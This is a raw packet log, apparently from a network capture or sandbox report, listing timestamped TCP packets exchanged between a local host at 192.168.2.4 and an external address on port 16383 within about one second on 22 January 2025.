Jan 22, 2025 04:12:10.331799030 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331809044 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331849098 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331859112 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331902981 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.331912994 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:10.375818968 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.159625053 CET	16383	49733	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.162343979 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.167397976 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.167496920 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.168447018 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.173316956 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.206667900 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.519715071 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.524833918 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524853945 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524880886 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524893999 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524908066 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524921894 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.524935007 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.525072098 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.525145054 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.525158882 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.525172949 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.525224924 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.525269032 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.530961990 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.530983925 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531063080 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531076908 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531091928 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531105995 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531177998 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531191111 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531198978 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.531328917 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.531372070 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531384945 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531399965 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531413078 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531426907 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.531626940 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.537738085 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.537792921 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.537852049 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.537882090 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.537894964 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.537987947 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538053989 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538069010 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538081884 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538096905 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538121939 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538130045 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538137913 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538181067 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538220882 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538300991 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538314104 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538326979 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538340092 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538352013 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538364887 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538391113 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538403988 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538503885 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538505077 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538516998 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538547039 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538561106 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538573980 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538588047 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538615942 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538629055 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538645029 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.538645983 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538698912 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.538728952 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.542959929 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.542973042 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543029070 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543059111 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543267012 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543288946 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543308020 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543358088 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543373108 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543386936 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543417931 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543435097 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543450117 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543463945 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543478966 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543481112 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543494940 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543520927 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543534994 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543551922 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543567896 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543581963 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543595076 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543626070 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543628931 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543638945 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543653011 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543664932 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543678045 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543687105 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543693066 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543709040 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543723106 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543747902 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543768883 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543781996 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543792009 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543793917 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543807983 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543826103 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543852091 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543865919 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543893099 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543905020 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543905973 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543917894 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.543973923 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.543991089 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544004917 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544017076 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544028997 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544043064 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544054985 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544065952 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544080019 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544094086 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544116974 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544128895 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544131041 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544143915 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544157028 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544176102 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544182062 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544195890 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544214010 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544222116 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544234991 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544245005 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544248104 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544261932 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544279099 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544290066 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544306040 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544320107 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544331074 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544331074 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544375896 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544378042 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544392109 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544416904 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544430017 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544456005 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544456959 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544470072 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544481993 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544491053 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.544495106 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.544560909 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.545260906 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.545274973 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.545295000 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.545306921 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.545341969 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.545389891 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.549345016 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549359083 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549370050 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549381971 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549393892 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549407005 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549427032 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.549494028 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.549629927 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549642086 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.549806118 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.550440073 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.550452948 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.550465107 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.550497055 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.550556898 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.550976992 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.550991058 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551002979 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551018000 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551031113 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551075935 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551080942 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551089048 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551136017 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551182985 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551196098 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551208019 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551239014 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551250935 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551258087 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551263094 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551281929 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551296949 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551330090 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551345110 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551362991 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551371098 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551383972 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551395893 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551408052 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551422119 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551434040 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551436901 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551467896 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551501989 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551556110 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551568985 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551580906 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551594019 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551606894 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551620007 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551634073 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551651955 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551665068 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551671982 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551677942 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551690102 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551703930 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551717043 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551719904 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551743031 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551757097 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551759005 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551769972 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551791906 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551808119 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551816940 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551830053 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551841021 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551841974 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551856041 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551876068 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551894903 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551908970 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551914930 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551922083 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551935911 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551948071 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551950932 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551964045 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.551980019 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.551990032 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552004099 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552025080 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552030087 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552047014 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552067995 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552069902 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552083015 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552099943 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552099943 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552113056 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552125931 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552125931 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552154064 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552155972 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552166939 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552181005 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552207947 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552208900 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552221060 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552236080 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552246094 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552251101 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552277088 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552279949 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552290916 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552320004 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552330017 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552342892 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552361965 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552398920 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552408934 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552412033 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552448034 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552474022 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552485943 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552490950 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552499056 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552511930 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552536964 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552550077 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552560091 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552565098 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552577019 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552596092 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552602053 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552614927 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552639008 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552643061 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552655935 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552671909 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552716970 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552771091 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552784920 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552795887 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552809000 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552822113 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552835941 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552836895 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552860975 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552880049 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552885056 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552895069 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552908897 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552937984 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552946091 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.552951097 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552963972 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552977085 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.552978992 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553000927 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553010941 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553014040 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553026915 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553039074 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553060055 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553081989 CET	16383	49734	192.144.32.84	192.168.2.4
